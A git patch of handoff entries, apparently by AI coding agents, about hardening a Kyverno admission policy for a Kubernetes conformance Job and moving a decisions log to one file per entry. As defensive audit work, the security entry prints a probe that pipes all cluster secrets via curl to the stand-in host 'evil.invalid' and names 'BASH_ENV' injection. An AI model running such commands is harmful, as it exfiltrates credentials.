# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
|
||||
run_gate STAGE_RC_decisions_log=1
|
||||
assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
|
||||
run_gate STAGE_RC_decisions_log=3
|
||||
assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
|
||||
run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
|
||||
assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
|
||||
|
||||
echo
|
||||
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
|
||||
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||
@@ -0,0 +1,379 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: feat/conformance-job-template
|
||||
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
|
||||
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
|
||||
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
|
||||
renderable run template. Along the way the admission policy that is supposed to bound that Job
|
||||
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
|
||||
more rules and moved the clone script out of the Job entirely.
|
||||
|
||||
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
|
||||
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
|
||||
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
|
||||
> file under `decisions/`; the archive is untouched.
|
||||
|
||||
### The binding constraint, and how it was met
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
|
||||
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
|
||||
Secret volume and the init container could not have a scratch volume:
|
||||
|
||||
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
|
||||
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
|
||||
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
|
||||
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
|
||||
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
|
||||
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
|
||||
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
|
||||
not write it.
|
||||
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
|
||||
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
|
||||
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
|
||||
|
||||
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
|
||||
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
|
||||
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
|
||||
happened to be.
|
||||
|
||||
### Results out of the Job with no exec channel
|
||||
|
||||
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
|
||||
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
|
||||
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
|
||||
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
|
||||
|
||||
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
<base64 of the tgz, wrapped at 76 columns>
|
||||
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
|
||||
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
|
||||
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
|
||||
digest appear in **both** markers and the collector owes five checks, each documented above the
|
||||
function.
|
||||
|
||||
### THE FINDING: the admission boundary did not look at `initContainers`
|
||||
|
||||
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
|
||||
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
|
||||
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
|
||||
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
|
||||
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
|
||||
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
|
||||
already have carried one.
|
||||
|
||||
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
|
||||
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
|
||||
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
|
||||
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
|
||||
policy gained four rules in this branch:
|
||||
|
||||
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
||||
must be on the digest-pinned `conformance-runner` image, `command:
|
||||
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
||||
false`, not privileged.
|
||||
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
|
||||
note under "What I did NOT verify".
|
||||
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
||||
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
||||
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
||||
`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
|
||||
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
|
||||
non-interactive script, and the runner's command IS a bash script. The init list iterates
|
||||
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
|
||||
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
||||
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
||||
|
||||
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
|
||||
one** element matches", so a pattern-based init rule would have admitted the committed clone step
|
||||
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
||||
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
||||
|
||||
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
||||
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
||||
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
|
||||
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
|
||||
undone.
|
||||
|
||||
### The clone script left the Job — that is the actual fix
|
||||
|
||||
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
||||
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
||||
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
|
||||
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
|
||||
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
|
||||
else.
|
||||
|
||||
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
|
||||
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
|
||||
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
|
||||
1's version before deleting mine rather than assuming compatibility, and the interface my Job
|
||||
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
|
||||
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
|
||||
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
|
||||
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
|
||||
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
|
||||
than honouring it.
|
||||
|
||||
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
|
||||
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
||||
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
|
||||
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
|
||||
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
|
||||
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
|
||||
**independently and against an instruction to read those values from env** — an instruction the
|
||||
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
|
||||
trusting it just moves the injection" reasoning in one afternoon is the signal that the
|
||||
field-enumeration gap was systemic, not a one-off.
|
||||
|
||||
### The committed `args` default was a shape that cannot run
|
||||
|
||||
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
|
||||
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
||||
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
||||
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
||||
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
|
||||
filters to `/l0-static/|/l1-rendering/`:
|
||||
|
||||
| args | offline selection | verdict |
|
||||
|---|---|---|
|
||||
| `--layer l2,l3` | empty | **RUNS** |
|
||||
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
||||
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
||||
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
||||
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
||||
|
||||
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
|
||||
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
|
||||
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
|
||||
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
|
||||
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
|
||||
|
||||
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
|
||||
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
||||
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
||||
considered rather than missed.
|
||||
|
||||
## What I verified
|
||||
|
||||
### Admission, proven with the pinned CLI rather than assumed
|
||||
|
||||
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
|
||||
|
||||
##### the real rendered template MUST PASS
|
||||
Applying 7 policy rule(s) to 1 resource(s)...
|
||||
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### the coordinator's exact initContainer probe MUST FAIL
|
||||
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
||||
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### same escalation via ephemeralContainers MUST FAIL
|
||||
1 - trigger-may-not-declare-ephemeral-containers ...
|
||||
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
|
||||
compliant and `serviceAccountName: conformance-runner`:
|
||||
|
||||
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
||||
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
|
||||
- the committed template with **only** the init container's `args` swapped for
|
||||
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||
→ `pass: 3, fail: 0` — **ADMITTED**
|
||||
|
||||
Negative controls on the same rendered template, showing the original rules do bite where they
|
||||
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
|
||||
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
|
||||
`/spec/template/spec/containers/0/command/`.
|
||||
|
||||
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
|
||||
|
||||
| resource | creat | vols | args | init | ephem | envnm | envfr |
|
||||
|---|---|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
||||
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
||||
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
||||
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
||||
|
||||
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
|
||||
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
|
||||
column, and it is why the fixtures are worth more than the rules' prose.
|
||||
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
||||
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
||||
That is why env had to be its own rule and not a condition bolted onto the init rule.
|
||||
|
||||
The rendered template is now a fixture (`real-template` in
|
||||
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
|
||||
admission fails `make -C ci l0` instead of failing at 2am.
|
||||
|
||||
### How strong that evidence is — the `kyverno test` load trap
|
||||
|
||||
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
|
||||
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
|
||||
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
|
||||
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
|
||||
`Test Summary: 9 tests passed and 0 tests failed`.
|
||||
|
||||
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
|
||||
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
|
||||
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
|
||||
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
|
||||
`error: 0, skip: 0` in the numbers above, not the exit code.
|
||||
|
||||
Two further limits on what a CLI pass proves:
|
||||
|
||||
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
|
||||
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
|
||||
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
|
||||
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
|
||||
`kyverno apply`.
|
||||
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
|
||||
admission in the cluster.
|
||||
|
||||
### Two Kyverno traps, both of which silently invert the result
|
||||
|
||||
Both are now commented in the rules:
|
||||
|
||||
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
|
||||
`false` into `true` and denies every good Job.
|
||||
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
|
||||
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### The results envelope
|
||||
|
||||
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
|
||||
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
|
||||
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
|
||||
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
|
||||
verified; its transport over `kubectl logs` from a real Pod is not.**
|
||||
|
||||
### Gate
|
||||
|
||||
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
|
||||
`.git`, per CLAUDE.md §3):
|
||||
|
||||
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
|
||||
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
|
||||
spec-immutability: green
|
||||
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
|
||||
2 entries well-formed — this one included)
|
||||
lint: green (404 files)
|
||||
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
|
||||
0 failures, 0 skips, 0 unwired)
|
||||
render-golden: green (10 onboarded service goldens reproduce)
|
||||
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
|
||||
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
|
||||
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
|
||||
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
|
||||
Stages that did not run: gitea-settings
|
||||
rc 3
|
||||
|
||||
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
|
||||
says nothing about Gitea's branch protection or runner registration, and the seven touched
|
||||
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
|
||||
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
|
||||
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
|
||||
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
|
||||
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
|
||||
eye — though that stage checks *structure*, never whether any claim inside it is true.
|
||||
|
||||
### The `approval-policy` check this PR was expected to fail does not exist
|
||||
|
||||
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
|
||||
security-relevant. **That check does not exist.** Measured rather than assumed:
|
||||
|
||||
grep -rn approval .gitea/workflows/ -> no match
|
||||
GET /repos/.../branches/main
|
||||
protected True
|
||||
user_can_push False
|
||||
enable_status_check True
|
||||
status_check_contexts ['gate / gate (pull_request)']
|
||||
required_approvals 1
|
||||
GET /repos/.../commits/<head>/statuses
|
||||
success gate / gate (pull_request) Successful in 1m36s
|
||||
pending gate / conformance (pull_request) Blocked by required conditions
|
||||
|
||||
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
|
||||
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
|
||||
approval policy in CI anywhere in this repo.** What actually stops this merging is
|
||||
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
|
||||
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
|
||||
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
|
||||
|
||||
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
|
||||
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
|
||||
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
|
||||
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
|
||||
`paths:`-scoped required check would be the mechanism; neither exists today.
|
||||
|
||||
The PR was **not merged** and nothing was worked around.
|
||||
|
||||
### Process note, worth more than the policy fix
|
||||
|
||||
Both halves of the security finding came from **probing rather than reading**. The hole was not
|
||||
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
|
||||
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
|
||||
policy is only as trustworthy as its negative fixtures.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
|
||||
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
|
||||
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
|
||||
all **unexercised**. The envelope itself is verified; its transport is not.
|
||||
- **PR #18 must merge first.** The image digest and `/usr/local/bin/conformance-clone` both arrive
|
||||
with it. If that path is missing or named differently, the init container fails to start; if it
|
||||
is present but the image is not the pinned digest, admission denies the Job.
|
||||
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
|
||||
name is referenced here.
|
||||
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
|
||||
not been built. If the Containerfile picks a different uid, the Job will not start.
|
||||
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
|
||||
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
|
||||
assertion turns that into a loud failure rather than a wrong-tree run.
|
||||
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
|
||||
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
|
||||
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
|
||||
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
|
||||
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
|
||||
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
|
||||
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
|
||||
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
|
||||
the rule should stay either way.
|
||||
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
|
||||
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
|
||||
trigger identity in a live admission request.
|
||||
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
|
||||
manifests. A policy that a CLI accepts can still behave differently once installed.
|
||||
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
|
||||
there is deliberately partial, not complete.
|
||||
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
|
||||
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
||||
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
||||
editing either script needs to know about, so it is called out in the rule's message.
|
||||
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
|
||||
branch changes nothing about what CI does today.
|
||||
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
|
||||
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
|
||||
runtime behaviour.
|
||||
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
|
||||
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
|
||||
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
|
||||
@@ -0,0 +1,82 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: chore/decisions-log-conflict-free
|
||||
title: The handoff log was serialising every parallel branch — it is a directory now
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
|
||||
file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
|
||||
is nothing for git to merge.
|
||||
|
||||
The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
|
||||
and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
|
||||
both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
|
||||
gate run before it. The agents work in isolated worktrees precisely so they don't block each
|
||||
other, and this one file undid that.
|
||||
|
||||
- `decisions/README.md` — the convention, the template, and how to read the log. No index file
|
||||
and no sequence number, deliberately: an index is a shared mutable file (the thing that just
|
||||
failed) and a counter has two agents racing for the same number. The directory listing is the
|
||||
index.
|
||||
- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
|
||||
SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
|
||||
- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
|
||||
entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
|
||||
frontmatter agreeing with its filename, and has all three of §7's sections with a real body
|
||||
under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
|
||||
in the tree under test and needs no tool and no cluster.
|
||||
- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
|
||||
`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
|
||||
- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
|
||||
- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
|
||||
pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
|
||||
script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
|
||||
every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
|
||||
stub rather than the decision logic.
|
||||
- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
|
||||
- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
|
||||
named.
|
||||
|
||||
A guard rather than a paragraph, because the old habit is written into the runbooks and into
|
||||
every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
|
||||
commit that re-creates the conflict on *other people's* branches, later, misattributed.
|
||||
|
||||
## What I verified
|
||||
|
||||
Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
|
||||
2026-09-29), not inferred from the tree:
|
||||
|
||||
#22 fix/crafty-oauth2-proxy-signin mergeable=False
|
||||
#20 feat/conformance-job-template mergeable=False
|
||||
#19 feat/conformance-trigger-kubeconfig mergeable=False
|
||||
#18 feat/conformance-runner-image mergeable=False
|
||||
#17 feat/ci-is-the-approver mergeable=True
|
||||
|
||||
`git merge-tree --write-tree origin/main origin/<branch>` for each named
|
||||
`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
|
||||
clean and touched no log entry. So the log's storage format was the whole of the blockage.
|
||||
|
||||
Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
|
||||
matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
|
||||
archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
|
||||
up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
|
||||
|
||||
Gate: see the run quoted in the PR description.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
|
||||
touches only CI and documentation; it has no cluster-visible effect at all.
|
||||
- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
|
||||
change's content but stated so the gate result is not over-read.
|
||||
- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
|
||||
test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
|
||||
A skipped Gitea job still reports `success`, so read the job log, not the tick.
|
||||
- **The four hung PRs are not yet fixed by this commit.** They still carry their
|
||||
`DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
|
||||
its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
|
||||
- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
|
||||
sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
|
||||
the damage; it joins the existing tracked work on stale `git push origin main` wording.
|
||||
@@ -0,0 +1 @@
|
||||
b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26 DECISIONS-LOG.md
|
||||
@@ -0,0 +1,101 @@
|
||||
# `decisions/` — the handoff log, one file per entry
|
||||
|
||||
This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
|
||||
everything written before 2026-09-29 and is never edited again (see "The archive is
|
||||
frozen" below).
|
||||
|
||||
## Why this exists
|
||||
|
||||
`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
|
||||
**tail**. Two branches that both append hit the same last hunk, so git cannot
|
||||
auto-merge them: the second one to be reviewed conflicts, and so does the third, and
|
||||
the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
|
||||
`DECISIONS-LOG.md` was the only conflicting file in all four**:
|
||||
|
||||
#22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
||||
#20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
||||
#19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
||||
#18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
||||
#17 feat/ci-is-the-approver clean (it touched no log entry)
|
||||
|
||||
Nothing was wrong with any of those changes. The log's *storage format* serialised work
|
||||
that was otherwise parallel, and it got worse with every concurrent branch: N branches
|
||||
produce N-1 rebases, each of which invalidates any gate run that preceded it.
|
||||
|
||||
The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
|
||||
handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
|
||||
nothing for git to merge and nothing to conflict. This scales to any number of parallel
|
||||
branches with zero coordination — which is the point, since the agents are deliberately
|
||||
